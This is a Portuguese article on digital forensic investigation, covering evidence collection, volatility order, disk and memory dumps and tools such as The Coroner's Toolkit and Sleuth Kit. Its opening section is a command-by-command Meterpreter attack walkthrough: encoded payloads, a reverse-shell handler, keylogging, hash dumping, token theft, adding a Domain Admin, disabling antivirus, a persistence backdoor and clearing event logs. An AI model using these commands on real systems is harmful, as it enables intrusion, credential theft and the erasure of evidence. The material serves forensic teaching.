Imprimir esta página

Processo Investigativo e Ferramentas Utilizadas

Escrito por

 Introdução

  • Ciência Forense:

– “A aplicação de princípios das ciências físicas ao direito na busca da verdade em questões cíveis, criminais e de comportamento social para que não se cometam injustiças contra qualquer membro da sociedade”

 

 Principio da Troca de Locard.

– Toda a pessoa que passa pela cena de um crime, deixa algo de si e leva algo consigo.

– De forma análoga, toda a pessoa que comete um crime digital, deixa rastros no sistema comprometido. Os rastros podem ser difíceis de serem seguidos, mas existem.

 

Exemplo de crime difícil de investigar:

Meterpreter

O Meterpreter é um dos os principais produtos dentro do Metasploit e é aproveitado como uma carga para utilização pós invasão.

 Capturando uma tela: meterpreter > screenshot

Informações do sistema: meterpreter > sysinfo

meterpreter > migrate 1668

meterpreter > run post/windows/capture/keylog_recorder

 

Dumping do hasch de senha

Pode-se pegar tranquilamente o banco de dados Security Account Manager (SAM).

Escalada de privilégios

C:\Documents and Settings\Administrator>net user adonel password123456 /add.

 Em seguida basta criar um “payload.exe” baseada em Meterpreter, copiá-la para a máquina do alvo e executá-la.

/msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3

Para deixar a máquina em modo de escuta,  

# use exploit/multi/handler

E o nosso payload meterpreter

# set PAYLOAD windows/meterpreter/reverse_tcp

Colocamos nosso IP para receber a conexão com a vítima.

# set lhost xxx.xxx.x.xx

# set lhost 4455

Após a invasão você pode usar os comandos meterpreter:

meterpreter > shell

C:\>net user adonel

Agora vamos começar a mostrar como fazer a escalada de privilégios;

meterpreter > use priv

meterpreter > getsystem

meterpreter > getuid

Para voltar para a conta do usuário anterior em que, inicialmente, obteve acesso a Shell Meterpreter use rev2self.

Personificação de Token

Agora vamos tentar pegar um token Kerberos na máquina do alvo e usá-lo como autenticação para assumir a identidade do usuário proprietário do token.

Usando o ps

meterpreter > ps

meterpreter >

Imagine que você encontre na listagem apresentada logo após a execução do comando ps o PID 380 e queira tentar roubar tal processo.

meterpreter > steal_token 380

Em alguns casos o ps pode não incluir um processo em execução executado como um administrador. Podemos também executar o incógnito para listar.

meterpreter> use incógnito

meterpreter> list_tokens –u

 A seguir, vamos observar como administrador de domínio e transferir o usuário para o grupo Domain Admins em uma maquina qualquer. Como exemplo 192.168.20.10.

meterpreter> impersonate_token + TOKEN.XX\\dominio

meterpreter> add_user + usuario p@55word! –h + ip onde deseja adicionar o novo usuário.

meterpreter> add_group_user “Domain Admins” + usuario –h + ip onde deseja fazer a s escalada.

Ao entrar com add_user e adicionar os comandos do usuário e de grupo, não se esqueça de especificar a opção –h.

Passeando por outros sistemas

Exiba as sub-redes locais no sistema comprometido de dentro de uma sessão com o comando Meterpreter run get_local_subnets, como mostrado a seguir:

meterpreter> run get_local_subnets

meterpreter> background

msf exploit (handler) > route add + ip e mascara de subrede onde queira entrar

msf exploit (handler) > route print

Usando Scripts Meterpreter

meterpreter > run vnc

Isso nos dará uma interface gráfica VNC na máquina de destino e nos permite interagir através de seu desktop.

meterpreter > run screen_unlock

Migrando um Processo

meterpreter > run post/windows/manage/migrate

 Matar Software Antivírus

meterpreter > run killav

A obtenção de hashes de senha do sistema

meterpreter > run hashdump

Enxergando todo o tráfego em uma máquina de destino

meterpreter > run packetrecorder -i 1

 Raspagem de sistema

O script scraper enumera tudo o que você desejar em um sistema alvo. Ele vai pegar os nomes de usuários e senhas, baixar o arquivo de registro inteiro, descarregar os hashes de senha, reunir informações do sistema, e exportar o HKEY_CURRENT_USER (HKCU). meterpreter > run scraper

Usando Persistência

1 - meterpreter > run persistence –x –i 50 –p 443 –r 192.168.1.100

2 - msf > use multi/handler

msf > exploit (handler) > set payload windows/meterpreter/reverse_tcp

> set LPORT 443

> set LHOST 192.168.1.100

> exploit

Resumos de alguns comandos e tarefas para fixar

 Meterpreter:

migrate – Migra processos em execução no sistema alvo, identificado pelo PID

sysinfo – Esse comando vai mostrar qual a versão do Windows da máquina alvo.

getsystem – Eleva o nível de privilégio para SYSTEM

ipconfig – Mostra o endereço ip da máquina alvo

screenshot – Salva um arquivo JPEG com um print da tela do computador alvo

keyscan_start – Inicia o keylogger ou seja captura tudo que for digitado no teclado do computador alvo

keyscan_dump – Visualiza os dados capturados após o keyscan_start.

keyscan_stop – Para a captura

run persistence -X – Configura a máquina alvo para que a cada boot no sistema ela estabeleça novamente a conexão com a máquina atacante.

hashdump – Faz a captura do hash de senhas do computador alvo.

execute – Executa um aplicativo ex. execute -f calc.exe

shell – Abre um prompt de comando

clearev – Limpa os logs de eventos do Windows, ou seja, apaga possíveis rastros deixados por vc.

Porque utilizar métodos aceitos pela comunidade cientifica

  • Simplificam o processo de coleta, armazenamento e análise de evidências.
  • Minimizam o pânico e reações negativas em circunstâncias em que a perícia é conduzida sobre níveis elevados de estresse, evitando um possível comprometimento das evidências.
  • Contribuem para validar as evidências coletadas em um processo criminal.
  • Necessitam de uma fase de planejamento para sua correta aplicação.

 Metodologia para a perícia

  • Coleta de informações.
  • Reconhecimento das evidências.
  • Restauração, documentação e preservação das evidências encontradas.
  • Correlação das evidências.
  • Reconstrução dos eventos.

Coleta

  • A coleta de evidências é feita principalmente com base nos dados obtidos a partir dos discos rígidos e das demais mídias físicas.
  • Caso o sistema ainda esteja em funcionamento, pode-se recuperar evidências adicionais.

– É recomendável interromper a energia ao invés de desligar o sistema de modo habitual.

  • Permite preservar o estado do sistema (swap, arquivos temporários, marcas de tempo nos arquivos).
  • Pode evitar armadilhas programadas para disparar durante o desligamento do sistema.

– Deve ser observado o tempo de vida de cada evidência.

Coleta “Online”

Examinar uma parte do sistema irá perturbar outras partes:

– O simples fato de observar informações de determinados tipos é capaz de alterá-las.

– As informações devem ser preferencialmente coletadas de acordo com seu tempo de vida.

– Registradores, cache

– Memória dos periféricos (ex. vídeo)

– Memória RAM

– Tráfego de rede

– Estado do sistema Operacional (processos, usuários logados, conexões estabelecidas)

– Disco Rígido

– Mídias secundária (cd-roms, backups)

Dispositivos de armazenamento

  • Registradores e cache.

– Contém pouca informação aproveitável.

  • Memória de periféricos.

– Podem possuir informações não disponíveis na memória principal como documentos enviados, imagens exibidas no monitor, etc.

  • Memória RAM.

– Contém informações sobre o sistema operacional e os processos em execução. Pode conter senhas e informações em texto plano que estão cifradas no disco.

  • Discos Rígidos e mídias secundárias.

– Contém a maior parte das informações usadas para extração de evidências.

Alterações no sistema

  • As informações obtidas podem não ser confiáveis uma vez que o sistema foi comprometido.

– Como forma de minimizar o problema, alguns kits de forense para ambientes UNIX contém binários compilados estaticamente dos principais utilitários de sistema.

  • Alvos de modificação:

Dificuldade de detecção

Shell

Comandos do sistema

Bibliotecas dinâmicas

Drivers de dispositivos

Kernel

 

Análise

  • A análise deve ser efetuada sobre uma cópia das mídias originais. As mídias originais devem ser devidamente protegidas.

– A cópia deve ser bit a bit com o intuito de preservar arquivos removidos e outras informações.

  • As informações coletadas suas respectivas cópias devem ser autenticadas através de assinaturas criptográficas.
  • A análise de dados brutos do disco e da memória é excessivamente lenta.

– O uso de ferramentas para recuperação de arquivos e dump de processos pode agilizar a análise.

  • Um ambiente de teste pode ser preparado para auxiliar o procedimento de análise.

– O hardware deve ser preferencialmente similar ao hardware do ambiente original.

  • Todo o processo deve ser devidamente documentado.

Reconstrução de eventos

  • Correlacionamento de logs.
  • Análise do tráfego da rede (logs de roteadores, firewalls).
  • Histórico do shell (quando houver).
  • MAC Times.
  • Recuperação de arquivos apagados ou análise do dump do disco.
  • Análise de artefatos encontrados no sistema.

Modo de operação do atacante

  • Entender o modo de operação é útil durante a busca por evidências:

– Identificação do alvo.

– Busca por vulnerabilidades.

– Comprometimento inicial.

– Aumento de privilégio.

– Tornar-se "invisível".

– Reconhecimento do sistema.

– Instalação de backdoors.

– Limpeza de rastros.

– Retorno por um backdoor; inventário e comprometimento de máquinas

vizinhas.

Coletando dados brutos

  • Dump da memória:

dd if /dev/mem of <destino>

dd if /dev/kmem of <destino>

dd if /dev/rswap of <destino>

  • Dump nos discos:

dd if <dipostivo> of <destino>

  • Obtendo dados da memória da placa de vídeo:

xwd -display :0 -root > screen.xwd

xwud -in screen.xwd

  • Transferindo informações coletadas através do Netcat:

– Servidor: nc -p <porta> -l > <saída>

– Cliente: <comando_do_sistema> | nc -w 3 to <porta>

Estado da rede

  • Configurações da rede:

ifconfig, iwconfig

route

arp

netstat -tupan, lsof -i

  • Coletando o tráfego:

tcpdump -l -n -e -x -vv -s 1500

wireshark

Coletando informações sobre o estado do sistema

  • Login de usuários:

– Usuários atualmente logados: w, who

– Últimos logins efetuados: last

– Último acesso de cada usuário: lastlog

  • Processos:

– Processos atualmente em execução: ps auxeww, ps ealf, ls /proc/

– Últimos comandos executados: lastcomm

– Arquivos abertos: lsof

  • Kernel e módulos:

– Configurações gerais: uname -a

– Módulos carregados: lsmod, cat /proc/modules

– Módulos ocultos: kstat -M (http://www.s0ftpj.org/tools/)

Informações do sistema de arquivos

  • MAC Times:

– Horário de último acesso: ls -altu

– Tempo de alteração: ls -alt

– Tempo de mudança nas permissões: ls -altc

  • Propriedades de um arquivo:

stat <arquivo>

  • Registro de todos os arquivos presentes no sistema:

find / -type f -print0 | xargs -0 md5sum > <saída>

Análise dos dados coletados

  • Buscas nos dumps de disco e memória?

strings e grep.

– Podem encontrar informações em blocos marcados como defeituoso.

– Útil para recuperação de trechos de arquivos apagados, em particular,

de logs apagados.

  • Análise de binários suspeitos

– Tabela de símbolos: nm <binário>, nm -Du <binário>

– Bibliotecas dinâmicas associadas: ldd <binário>

– Visualização em hexadecimal: cat <binário> | xxd

– Chamadas de sistema (em um ambiente de testes): strace <binário>

– Pausando a execução de um processo: kill -STOP <pid>

Ferramentas para análise

  • TCT – The Coroner's Toolkit (http://www.porcupine.org/forensics/tct.html):

– Conjunto de ferramentas para forense.

  • TCTUtils (http://www.porcupine.org/forensics/tct.html):

– Utilitários que provêem funcionalidades extras ao TCP.

  • TASK - The @stake Sleuth Kit (http://www.sleuthkit.org/):

– Engloba as funcionalidades do TCT e do TCTUtils para anállise do sistema de

arquivos, além de recursos adicionais.

– Portado para uma série e plataformas.

  • AFB - Autopsy Forensic Browser (http://www.sleuthkit.org/autopsy):

– Provê uma interface gráfica para o TASK.

The Coroner's Toolkit (1)

  • É composto por quatro partes:

grave-robber

  • Automatiza a coleta de evidências com os comandos citados anteriormente.
  • Executa ações adicionais (geração de assinaturas criptográficas, lista com

arquivos apagados ainda em uso, históricos de shell, ...).

  • A coleta é feita de acordo com a ordem de volatilidade.

mactime

  • Utiliza informações produzidas pelo grave-robber para criar um histórico

de arquivos modificados e acessados em um dado intervalo de tempo.

lazarus

  • lazarus: ferramenta para recuperação de arquivos apagados.
  • unrm: efetua dump do espaço não alocado no disco.

– Utilitários

  • Utiliários usados pela ferramenta grave-roober.

The Coroner's Toolkit (2)

  • Funcionamento do lazarus:

– Sistemas de arquivos unix tem baixa fragmentação.

– Tenta identificar o tipo de arquivo ao qual pertence um espaço não

alocado do disdo de 100 bytes.

– Armazena em um arquivo os blocos de dados lidos enquanto o tipo de

arquivo identificado não for alterado.

– Não funciona bem com arquivos grandes.

  • Exemplos de utilitários:

pcat: efetua o dump de um processo na memória.

icat (ou inode-cat): visualiza o conteúdo de um arquivo a partir no

número do seu inode. Pode recuperar arquivos apagados ou parte deles.

ils: lista informações inodes de arquivos removidos.

TCTUtils

  • Exemplos de utitários:

bcat: exibe o conteúdo de um bloco de dados presente no sistema de

arquivos.

blockcalc: mapeia blocos do sistema de arquivos orginal com a imagem

gerada pela ferramenta unrm.

fls: lista as entradas de um bloco de dados pertencente a um diretório.

find_file: tenta encontrar o nome de arquivo associado a um inode.

find_inode: tenta encontrar o inode que tem alocado um determinado

bloco de dados do sistema de arquivos.

istat: exibe informações sobre um determinado inode.

The @stake Sleuth Kit

  • Suporte a sistemas de arquivos de diversos SOs (BSD, Linux,

Solaris, Windows).

  • Exemplos de utilitários:

dstat: exibe informações sobre um determinado bloco.

fsstat: informações detalhas sobre o sistema de arquivos em uma

determinada partição.

icat: semelhante ao icat do TCT.

dcat: semelhante ao bcat do TCTUtils.

– Outras ferramenas com funções similares as exibidas anteriormente.

Autopsy Forensic Browser

Outras ferramentas úteis

  • LiveCDs:

Biatchux Fire (http://biatchux.dmzs.com).

  • DUMP de sistemas de arquivos FAT e NTFS:

EnCase (http://www.guidancesoftware.com).

DriveSpy. DriveSpy (http://www.digitalintel.com).

Byte Back (http://www.toolsthatwork.com).

  • Ferramentas para recuperação de senhas (office, rar, zip, ...):

Lostpassword (http://www.lostpassword.com).

  • Análise de logs:

Netforensics - (http://www.netforensics.com).

  • Análise de sistemas de arquivos:

Foremost tool. (http://foremost.sourceforge.net).

  • Visualizador de disco e memória em ambientes windows:

Winhex (http://www.winhex.com/).

  • Visualizador de processos em Windows 9x:

Wintop (http://www.dewassoc.com/support/useful/wintop.htm).

Adonel Bezerra

- É Especialista em investigação digital; - Consultor de Segurança de Sistemas e Redes com mais de trinta anos de experiência; - Professor de pós-graduação em Pericia Computacional no ESP e ESB; - Já ministrou treinamentos e palestras para milhares de profissionais em todo o Brasil; - Pós-graduado em Pericia Forense Computacional; - Pós-graduado em Teoria em Educação a Distância e Docência do Ensino Superior; - Graduando em Direito; - Graduando em Análise e Desenvolvimento de Sistemas; - É Graduado em Processamento de Dados.

Mais recentes de Adonel Bezerra